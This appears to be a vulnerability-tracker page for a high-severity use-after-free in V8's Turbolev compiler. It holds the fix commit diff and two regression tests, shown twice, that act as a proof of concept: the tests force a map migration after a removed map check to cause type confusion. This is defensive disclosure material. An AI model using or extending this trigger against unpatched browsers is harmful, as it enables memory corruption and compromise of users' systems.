High chrome UAF 🔧 Commit mapped

Overview

High
Severity
—
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactUse after free in Turbolev
DescriptionUse after free in Turbolev
ComponentTurbolev
Sub-componentTurbolev
Bug ClassUAF
Tracker570003644
Fix commitbd5b925e0678 (v8/v8) +264/-18
CISA KEVNot listed
CreditedProject WhatForLunch (@nebusecurity)
Disclosed2026-10-20

Changed Functions

FunctionChangeNotes
D
test/mjsunit/regress/regress-570003644-1.js
modified
constructor
test/mjsunit/regress/regress-570003644-1.js
modified
C
test/mjsunit/regress/regress-570003644-1.js
modified
D
test/mjsunit/regress/regress-570003644-2.js
modified
constructor
test/mjsunit/regress/regress-570003644-2.js
modified
C
test/mjsunit/regress/regress-570003644-2.js
modified

Files Changed

  • test/mjsunit/regress/regress-570003644-2.js
  • src/maglev/maglev-known-node-aspects.cc
  • test/mjsunit/regress/regress-570003644-1.js
  • src/maglev/maglev-known-node-aspects.h
From bd5b925e067872b0adab32e464647edf77f4d5d2 Mon Sep 17 00:00:00 2001
From: Marja Hölttä <marja@chromium.org>
Date: Fri, 09 Oct 2026 13:25:00 +0200
Subject: [PATCH] [turbolev] Migrations can change maps

We didn't realize that MigrateMapIfNeeded can change the map of an
object, so we cannot delete a CheckMaps after.

Triggering the problem case is quite involved, see
https://issues.chromium.org/u/1/issues/570003644#comment5 for a longer
explanation.

Fixed: 570003644
Change-Id: I4085564abce734aa20aa74a70c06e7d047dfd869
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/8537446
Commit-Queue: Marja Hölttä <marja@chromium.org>
Reviewed-by: Darius Mercadier <dmercadier@chromium.org>
Cr-Commit-Position: refs/heads/main@{#110528}
---
diff --git a/src/maglev/maglev-known-node-aspects.cc b/src/maglev/maglev-known-node-aspects.cc
index 95988d2..743fc9f 100644
--- a/src/maglev/maglev-known-node-aspects.cc
+++ b/src/maglev/maglev-known-node-aspects.cc
@@ -666,22 +666,22 @@
     StoreMap* node, bool is_tracing_enabled) {
   if (!node->is_transitioning()) return;
 
-  if (NodeInfo* node_info = TryGetInfoFor(node->ValueInput().node())) {
-    if (node_info->possible_maps_are_known() && !node_info->maps_are_stale() &&
-        node_info->possible_maps().size() == 1) {
-      compiler::MapRef old_map = node_info->possible_maps().at(0);
-      auto MaybeAliases = [&](compiler::MapRef map) -> bool {
-        return map.equals(old_map);
-      };
-      // Mark aliasing maps as stale.
-      if (MarkMapsStaleIfAny(MaybeAliases)) {
-        if (V8_UNLIKELY(v8_flags.trace_maglev_kna && is_tracing_enabled)) {
-          std::cout << kRed << "[KNA] StoreMap: Invalidate alias "
-                    << Brief(*old_map.object()) << kReset << std::endl;
-        }
-      }
-      return;
-    }
+  if (MarkSingleMapAsStale(node->ValueInput().node(), is_tracing_enabled)) {
+    return;
+  }
+
+  // TODO(olivf): Only invalidate nodes with the same type.
+  OnSideEffect();
+  if (V8_UNLIKELY(v8_flags.trace_maglev_kna && is_tracing_enabled)) {
+    std::cout << kRed << "[KNA] StoreMap: Invalidate all unstable maps"
+              << kReset << std::endl;
+  }
+}
+
+void KnownNodeAspects::ClearUnstableNodeAspectsForMigration(
+    Node* node, bool is_tracing_enabled) {
+  if (MarkSingleMapAsStale(node->input_node(0), is_tracing_enabled)) {
+    return;
   }
 
   // TODO(olivf): Only invalidate nodes with the same type.
@@ -1023,6 +1023,28 @@
   return {ContextStoreResult::kSetNewValue, std::move(aliased_slots)};
 }
 
+bool KnownNodeAspects::MarkSingleMapAsStale(ValueNode* node,
+                                            bool is_tracing_enabled) {
+  if (NodeInfo* node_info = TryGetInfoFor(node)) {
+    if (node_info->possible_maps_are_known() && !node_info->maps_are_stale() &&
+        node_info->possible_maps().size() == 1) {
+      compiler::MapRef old_map = node_info->possible_maps().at(0);
+      auto MaybeAliases = [&](compiler::MapRef map) -> bool {
+        return map.equals(old_map);
+      };
+      // Mark aliasing maps as stale.
+      if (MarkMapsStaleIfAny(MaybeAliases)) {
+        if (V8_UNLIKELY(v8_flags.trace_maglev_kna && is_tracing_enabled)) {
+          std::cout << kRed << "[KNA]: MarkSingleMapAsStale: Invalidate alias "
+                    << Brief(*old_map.object()) << kReset << std::endl;
+        }
+      }
+      return true;
+    }
+  }
+  return false;
+}
+
 #ifdef DEBUG
 bool IsStringRootIndex(RootIndex index) {
   if (index > RootIndex::kLastReadOnlyRoot) return false;
diff --git a/src/maglev/maglev-known-node-aspects.h b/src/maglev/maglev-known-node-aspects.h
index b7f0391..dd1ce8c 100644
--- a/src/maglev/maglev-known-node-aspects.h
+++ b/src/maglev/maglev-known-node-aspects.h
@@ -407,6 +407,8 @@
 
   void ClearUnstableNodeAspectsForStoreMap(StoreMap* node,
                                            bool is_tracing_enabled);
+  void ClearUnstableNodeAspectsForMigration(Node* node,
+                                            bool is_tracing_enabled);
   void ClearUnstableNodeAspectsForElementsTransition(
       const ZoneVector<compiler::MapRef>& transition_sources,
       bool is_tracing_enabled);
@@ -824,8 +826,7 @@
                          std::is_same_v<NodeT,
                                         CheckMapsWithMigrationAndDeopt> ||
                          std::is_same_v<NodeT, MigrateMapIfNeeded>) {
-      // These instructions only migrate representations of values, not the
-      // values themselves, so cached values are still valid.
+      ClearUnstableNodeAspectsForMigration(node, is_tracing_enabled);
     } else if constexpr (std::is_same_v<NodeT, StoreMap>) {
       ClearUnstableNodeAspectsForStoreMap(node, is_tracing_enabled);
     } else if constexpr (std::is_same_v<NodeT, TransitionElementsKind> ||
@@ -910,6 +911,8 @@
   SmallZoneVector<LoadedContextSlotsKey, 8> ClearAliasedContextSlotsFor(
       Graph* graph, ValueNode* context, int offset, ValueNode* value);
 
+  bool MarkSingleMapAsStale(ValueNode* node, bool is_tracing_enabled);
+
   static constexpr uint32_t kEffectEpochForPureInstructions =
       std::numeric_limits<uint32_t>::max();
   static constexpr uint32_t kEffectEpochOverflow =
diff --git a/test/mjsunit/regress/regress-570003644-1.js b/test/mjsunit/regress/regress-570003644-1.js
new file mode 100644
index 0000000..f56634f
--- /dev/null
+++ b/test/mjsunit/regress/regress-570003644-1.js
@@ -0,0 +1,110 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --maglev-non-eager-inlining --expose-gc --allow-natives-syntax
+
+class D {
+  constructor(x) {
+    this.x = x;
+    this.p = 7;
+    this.q = 9;
+  }
+}
+
+// Map: MD1 where x is const SMI
+let dOld = new D(1);
+
+// Map: MD2 (after adding "tail")
+// Map transition: MD1 --tail--> MD2
+let dExtra = new D(1);
+dExtra.tail = 1;
+
+class C {
+  constructor(z) {
+    this.z = z;
+    this.q = 11;
+  }
+}
+
+// Map: MC1 where z is a const SMI
+let cOld = new C(1);
+
+// Map: MC2 w where z is a const HeapNumber
+let cTarget = new C(1.5);
+
+// Migrate to MC2: this makes MC2 a migration target
+cOld.z = 2.5;
+
+// Larger than the eager-inline bytecode limit.
+function noop() {
+  let n = 0;
+  n += 0;
+  n += 0;
+  n += 0;
+  n += 0;
+  n += 0;
+  n += 0;
+  n += 0;
+  n += 0;
+  n += 0;
+  n += 0;
+  n += 0;
+  n += 0;
+  return n;
+}
+%PrepareFunctionForOptimization(noop);
+
+function polyQ(o) {
+  noop(); // Not inlined
+  // MigrateMapIfNeeded, then a polymorphic branch with MC2 and MD1 (in this
+  // order).
+  return o.q;
+}
+%PrepareFunctionForOptimization(polyQ);
+
+polyQ(cTarget);
+polyQ(dOld);
+
+let smi_array = [0, 0];
+
+function victim(cObj, dObj) {
+  // CheckMapsWithMigration(MC2) cObj; tries to migrate to MC2 (but the cTarget we
+  // pass already has MC2).
+  cObj.q;
+
+  // CheckMaps(MD1) dObj
+  dObj.p;
+
+  // Eagerly inlining polyQ. Here we need to conservatively assume that the noop
+  // call might change the maps, so we get:
+  // CallFunction noop
+  // MigrateMapIfNeeded dObj
+  // Polymoprhic branch (MC2, MD1):
+  // /-- Branch if dObj's map is MC2
+  // |      |
+  // |      v
+  // |   CheckMap(MD1) dObj <<< Load-bearing! Must not be eliminated
+  // |      |
+  // |      v
+  // \--> Result unused, so this is empty
+  polyQ(dObj);
+
+  // The map better be MD1 or this goes wrong.
+  smi_array[0] = dObj.x;
+}
+%PrepareFunctionForOptimization(victim);
+victim(cTarget, dOld);
+
+%OptimizeMaglevOnNextCall(victim);
+
+victim(cTarget, dOld);
+
+// Move the smi_array backing store to old space before storing a young pointer.
+gc();
+
+// Create a new map MD3 where x is a HeapNumber; MD1 deprecated.
+new D(1.5);
+
+// Now the MigrateMapIfNeeded will migrate dOld to MD3 where x is a HeapNumber.
+victim(cTarget, dOld);
diff --git a/test/mjsunit/regress/regress-570003644-2.js b/test/mjsunit/regress/regress-570003644-2.js
new file mode 100644
index 0000000..fe9c96d
--- /dev/null
+++ b/test/mjsunit/regress/regress-570003644-2.js
@@ -0,0 +1,111 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --maglev-non-eager-inlining --expose-gc --allow-natives-syntax
+// Flags: --max-maglev-eager-inlined-bytecode-size=0
+
+class D {
+  constructor(x) {
+    this.x = x;
+    this.p = 7;
+    this.q = 9;
+  }
+}
+
+// Map: MD1 where x is const SMI
+let dOld = new D(1);
+
+// Map: MD2 (after adding "tail")
+// Map transition: MD1 --tail--> MD2
+let dExtra = new D(1);
+dExtra.tail = 1;
+
+class C {
+  constructor(z) {
+    this.z = z;
+    this.q = 11;
+  }
+}
+
+// Map: MC1 where z is a const SMI
+let cOld = new C(1);
+
+// Map: MC2 w where z is a const HeapNumber
+let cTarget = new C(1.5);
+
+// Migrate to MC2: this makes MC2 a migration target
+cOld.z = 2.5;
+
+// Larger than the eager-inline bytecode limit.
+function noop() {
+  let n = 0;
+  n += 0;
+  n += 0;
+  n += 0;
+  n += 0;
+  n += 0;
+  n += 0;
+  n += 0;
+  n += 0;
+  n += 0;
+  n += 0;
+  n += 0;
+  n += 0;
+  return n;
+}
+%PrepareFunctionForOptimization(noop);
+
+function polyQ(o) {
+  noop(); // Not inlined
+  // MigrateMapIfNeeded, then a polymorphic branch with MC2 and MD1 (in this
+  // order).
+  return o.q;
+}
+%PrepareFunctionForOptimization(polyQ);
+
+polyQ(cTarget);
+polyQ(dOld);
+
+let smi_array = [0, 0];
+
+function victim(cObj, dObj) {
+  // CheckMapsWithMigration(MC2) cObj; tries to migrate to MC2 (but the cTarget we
+  // pass already has MC2).
+  cObj.q;
+
+  // CheckMaps(MD1) dObj
+  dObj.p;
+
+  // Eventually we'l inline polyQ here. Here we need to conservatively assume
+  // that the noop call might change the maps, so we get:
+  // CallFunction noop
+  // MigrateMapIfNeeded dObj
+  // Polymoprhic branch (MC2, MD1):
+  // /-- Branch if dObj's map is MC2
+  // |      |
+  // |      v
+  // |   CheckMap(MD1) dObj <<< Load-bearing! Must not be eliminated
+  // |      |
+  // |      v
+  // \--> Result unused, so this is empty
+  polyQ(dObj);
+
+  // The map better be MD1 or this goes wrong.
+  smi_array[0] = dObj.x;
+}
+%PrepareFunctionForOptimization(victim);
+victim(cTarget, dOld);
+
+%OptimizeMaglevOnNextCall(victim);
+
+victim(cTarget, dOld);
+
+// Move the smi_array backing store to old space before storing a young pointer.
+gc();
+
+// Create a new map MD3 where x is a HeapNumber; MD1 deprecated.
+new D(1.5);
+
+// Now the MigrateMapIfNeeded will migrate dOld to MD3 where x is a HeapNumber.
+victim(cTarget, dOld);
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/test/mjsunit/regress/regress-570003644-1.js b/test/mjsunit/regress/regress-570003644-1.js
new file mode 100644
index 0000000..f56634f
--- /dev/null
+++ b/test/mjsunit/regress/regress-570003644-1.js
@@ -0,0 +1,110 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --maglev-non-eager-inlining --expose-gc --allow-natives-syntax
+
+class D {
+  constructor(x) {
+    this.x = x;
+    this.p = 7;
+    this.q = 9;
+  }
+}
+
+// Map: MD1 where x is const SMI
+let dOld = new D(1);
+
+// Map: MD2 (after adding "tail")
+// Map transition: MD1 --tail--> MD2
+let dExtra = new D(1);
+dExtra.tail = 1;
+
+class C {
+  constructor(z) {
+    this.z = z;
+    this.q = 11;
+  }
+}
+
+// Map: MC1 where z is a const SMI
+let cOld = new C(1);
+
+// Map: MC2 w where z is a const HeapNumber
+let cTarget = new C(1.5);
+
+// Migrate to MC2: this makes MC2 a migration target
+cOld.z = 2.5;
+
+// Larger than the eager-inline bytecode limit.
+function noop() {
+  let n = 0;
+  n += 0;
+  n += 0;
+  n += 0;
+  n += 0;
+  n += 0;
+  n += 0;
+  n += 0;
+  n += 0;
+  n += 0;
+  n += 0;
+  n += 0;
+  n += 0;
+  return n;
+}
+%PrepareFunctionForOptimization(noop);
+
+function polyQ(o) {
+  noop(); // Not inlined
+  // MigrateMapIfNeeded, then a polymorphic branch with MC2 and MD1 (in this
+  // order).
+  return o.q;
+}
+%PrepareFunctionForOptimization(polyQ);
+
+polyQ(cTarget);
+polyQ(dOld);
+
+let smi_array = [0, 0];
+
+function victim(cObj, dObj) {
+  // CheckMapsWithMigration(MC2) cObj; tries to migrate to MC2 (but the cTarget we
+  // pass already has MC2).
+  cObj.q;
+
+  // CheckMaps(MD1) dObj
+  dObj.p;
+
+  // Eagerly inlining polyQ. Here we need to conservatively assume that the noop
+  // call might change the maps, so we get:
+  // CallFunction noop
+  // MigrateMapIfNeeded dObj
+  // Polymoprhic branch (MC2, MD1):
+  // /-- Branch if dObj's map is MC2
+  // |      |
+  // |      v
+  // |   CheckMap(MD1) dObj <<< Load-bearing! Must not be eliminated
+  // |      |
+  // |      v
+  // \--> Result unused, so this is empty
+  polyQ(dObj);
+
+  // The map better be MD1 or this goes wrong.
+  smi_array[0] = dObj.x;
+}
+%PrepareFunctionForOptimization(victim);
+victim(cTarget, dOld);
+
+%OptimizeMaglevOnNextCall(victim);
+
+victim(cTarget, dOld);
+
+// Move the smi_array backing store to old space before storing a young pointer.
+gc();
+
+// Create a new map MD3 where x is a HeapNumber; MD1 deprecated.
+new D(1.5);
+
+// Now the MigrateMapIfNeeded will migrate dOld to MD3 where x is a HeapNumber.
+victim(cTarget, dOld);
diff --git a/test/mjsunit/regress/regress-570003644-2.js b/test/mjsunit/regress/regress-570003644-2.js
new file mode 100644
index 0000000..fe9c96d
--- /dev/null
+++ b/test/mjsunit/regress/regress-570003644-2.js
@@ -0,0 +1,111 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --maglev-non-eager-inlining --expose-gc --allow-natives-syntax
+// Flags: --max-maglev-eager-inlined-bytecode-size=0
+
+class D {
+  constructor(x) {
+    this.x = x;
+    this.p = 7;
+    this.q = 9;
+  }
+}
+
+// Map: MD1 where x is const SMI
+let dOld = new D(1);
+
+// Map: MD2 (after adding "tail")
+// Map transition: MD1 --tail--> MD2
+let dExtra = new D(1);
+dExtra.tail = 1;
+
+class C {
+  constructor(z) {
+    this.z = z;
+    this.q = 11;
+  }
+}
+
+// Map: MC1 where z is a const SMI
+let cOld = new C(1);
+
+// Map: MC2 w where z is a const HeapNumber
+let cTarget = new C(1.5);
+
+// Migrate to MC2: this makes MC2 a migration target
+cOld.z = 2.5;
+
+// Larger than the eager-inline bytecode limit.
+function noop() {
+  let n = 0;
+  n += 0;
+  n += 0;
+  n += 0;
+  n += 0;
+  n += 0;
+  n += 0;
+  n += 0;
+  n += 0;
+  n += 0;
+  n += 0;
+  n += 0;
+  n += 0;
+  return n;
+}
+%PrepareFunctionForOptimization(noop);
+
+function polyQ(o) {
+  noop(); // Not inlined
+  // MigrateMapIfNeeded, then a polymorphic branch with MC2 and MD1 (in this
+  // order).
+  return o.q;
+}
+%PrepareFunctionForOptimization(polyQ);
+
+polyQ(cTarget);
+polyQ(dOld);
+
+let smi_array = [0, 0];
+
+function victim(cObj, dObj) {
+  // CheckMapsWithMigration(MC2) cObj; tries to migrate to MC2 (but the cTarget we
+  // pass already has MC2).
+  cObj.q;
+
+  // CheckMaps(MD1) dObj
+  dObj.p;
+
+  // Eventually we'l inline polyQ here. Here we need to conservatively assume
+  // that the noop call might change the maps, so we get:
+  // CallFunction noop
+  // MigrateMapIfNeeded dObj
+  // Polymoprhic branch (MC2, MD1):
+  // /-- Branch if dObj's map is MC2
+  // |      |
+  // |      v
+  // |   CheckMap(MD1) dObj <<< Load-bearing! Must not be eliminated
+  // |      |
+  // |      v
+  // \--> Result unused, so this is empty
+  polyQ(dObj);
+
+  // The map better be MD1 or this goes wrong.
+  smi_array[0] = dObj.x;
+}
+%PrepareFunctionForOptimization(victim);
+victim(cTarget, dOld);
+
+%OptimizeMaglevOnNextCall(victim);
+
+victim(cTarget, dOld);
+
+// Move the smi_array backing store to old space before storing a young pointer.
+gc();
+
+// Create a new map MD3 where x is a HeapNumber; MD1 deprecated.
+new D(1.5);
+
+// Now the MigrateMapIfNeeded will migrate dOld to MD3 where x is a HeapNumber.
+victim(cTarget, dOld);
Loading diff…

Original Bug Report

The reporter's bug is still restricted on the tracker. Chrome de-restricts security bugs ~30–90 days after the fix ships; a later run will backfill it here.